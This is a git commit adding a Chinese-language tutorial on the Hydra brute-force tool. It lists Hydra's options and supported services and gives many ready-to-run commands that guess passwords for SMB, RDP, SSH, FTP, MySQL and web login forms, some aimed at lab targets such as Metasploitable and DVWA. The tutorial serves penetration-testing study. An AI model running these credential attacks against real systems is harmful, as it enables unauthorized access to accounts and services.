add kali-top10-Hydra.

This commit is contained in:
liwenjie 2022-11-01 18:59:50 +08:00
parent 2d67a095a7
commit 880f9329a1
1 changed files with 126 additions and 0 deletions

View File

@ -0,0 +1,126 @@
# <center>kali-top10-Hydra</center>
## 目录
* 1、简介
* 2、选项
* 3、用法
### 1、简介
>Hydra(九头蛇) 是一个相当强大的暴力破解工具。该工具支持几乎所有协议的在线破解如FTP、、HTTPS、、MS SQL、Oracle、Cisco、IMAP和VNC等。其能否被破解关键在于字典是否足够强大。很多用户可能对Hydra比较熟悉因为该工具有图形界面且操作十分简单基本上可以“傻瓜”操作。下面介绍使用Hydra工具破解在线。
### 2、选项
|-R|修复之前使用的aborted/crashed session|
|:---|:---|
|-S|执行SSL(Secure Socket Layer)连接|
|-s|使用非默认服务器端口而是其他端口时,指定其端口|
|-l|已经获取登录ID的情况下输入登录ID|
|-L|未获取登录ID情况下指定用于暴力破解的文件需要指出全路径|
|-p|已经获取登录密码的情况下输入登录密码|
|-P|未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)|
|-x|暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解|
|-C|用于指定由冒号区分形式的暴力破解专用文件即ID:Password形式|
|-M|指定实施并列攻击的文件服务器的目录文件|
|-o|以STDOUT的形式输出结果值|
|-f|查找到第一个可以使用的ID和密码的时候停止破解|
|-t|指定并列连接数默认值16|
|-w|指定每个线程的回应时间Waittime(默认值32秒)|
|-4/6|指定IPv4/IPv6(默认值IPv4)|
|-v/-V|显示详细信息|
|-U|查看服务器组件使用明细|
### 3、用法
>hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
**支持的服务:**
>asterisk、 afp、 cisco、 cisco-enable、 cvs、 firebird、 ftp、 ftps、 http(s)-{head|get}、 http(s)-{get|post}-form、 http-proxy、 http-proxy-urlenum、 icq、 imap(s)、 irc ldap2(s)、 ldap3[-{cram|digest}md5](s)、 mssql、 mysql、 ncp、 nntp、 oracle-listener、 oracle-sid、 pcanywhere、 pcnfs、 pop3(s)、 postgres、 rdp、 rexec、 rlogin、 rsh s7-300、 sip、 smb、 smtp(s)、 smtp-enum、 snmp、 socks5、 ssh、 sshkey、 svn、 teamspeak、 telnet(s)、 vmauthd、 vnc、 xmpp
>注意Hydra是猜测/破解有效登录/密码对的工具。
***例如***
**图形化界面**
```sh
xhydra
```
**Windows 密码破解**
```sh
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd #smb协议比较好破解
hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV #rdp协议不稳定,容易漏判
```
**Linux 密码破解**
```sh
hydra -l root -P john.txt ssh://192.168.1.113 -vV #这里以metasploitable为目标机
```
**其他服务密码破解**
```sh
hydra -L user.lst -P pass.lst ftp://192.168.1.113 -s 2121 -e nsr -o p.txt -t 64 -vV #最大并发64
```
**HTTP表单身份认证**
```sh
hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:S=index.php" -V
hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:Login Failed" -V
/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H =X-Foo: Foo
```
**pw-inspector**
>Hydra 小工具
>按长度和字符集筛选字典
```sh
pw-inspector -i /usr/share/wordlists/nmap.lst -o p1.lst -l
pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u
pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u -m 3 -M 5 #-m和-M指定最小和最大长度
```
|-i|文件从默认stdin读取密码|
|:---|:---|
|-o|文件将有效密码写入默认stdout|
|-m|有效密码的最小长度|
|-M|有效密码的最大长度|
|-c|需要的最小套数(默认值:全部给定)|
设置
|-l|小写字符abcd等|
|:-|:-|
|-u|大写字母ABCD等|
|-n|数字1,2,3,4等|
|-p|可打印字符(不是-l / -n / -p例如$/*等)|
|-s|特殊字符 - 所有其他人不在上面的集合中|
**MySQL密码破解**
>数据库一般会提供一个默认的帐户SQL Server的sa用户MySQL的root用户Oracle的System用户等。
假如我们现在破解mysql数据库
```sh
hydra -L user.txt -P pass.txt ip mysql
hydra -L user.txt -P pass.txt mysql://目标IP:mysql端口号
```
**ssh密码破解**
```sh
hydra -l 用户名 -P 密码字典 -t 线程 -vV -e nsr ip ssh
hydra -l 用户名 -P 密码字典 -t 线程 -o save.log -vV ip ssh
```
**破解ftp**
>如果你发现目标ftp并不是在21端口而是在其他端口上可以使用-s参数指定正确的端口其他服务同样如此。
```sh
hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) vV
```
**破解rdp**
>如果不支持rdp模块尝试升级一下 apt install hydra
```sh
hydra ip rdp -l administrator -P pass.txt V
```
**破解https**
```sh
hydra -m /index.php -l muts -P pass.txt ip https
```
get方式提交 破解web登录
```sh
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/
```
post方式提交 破解web登录
```sh
hydra -l admin -P small.txt 域名/ip -s 端口 http-post-form "/Pass-09/index.php:username=^USER^&password=^PASS^&Login=Login:F=密码错误" -v
```
F表示错误信息根据实际情况填写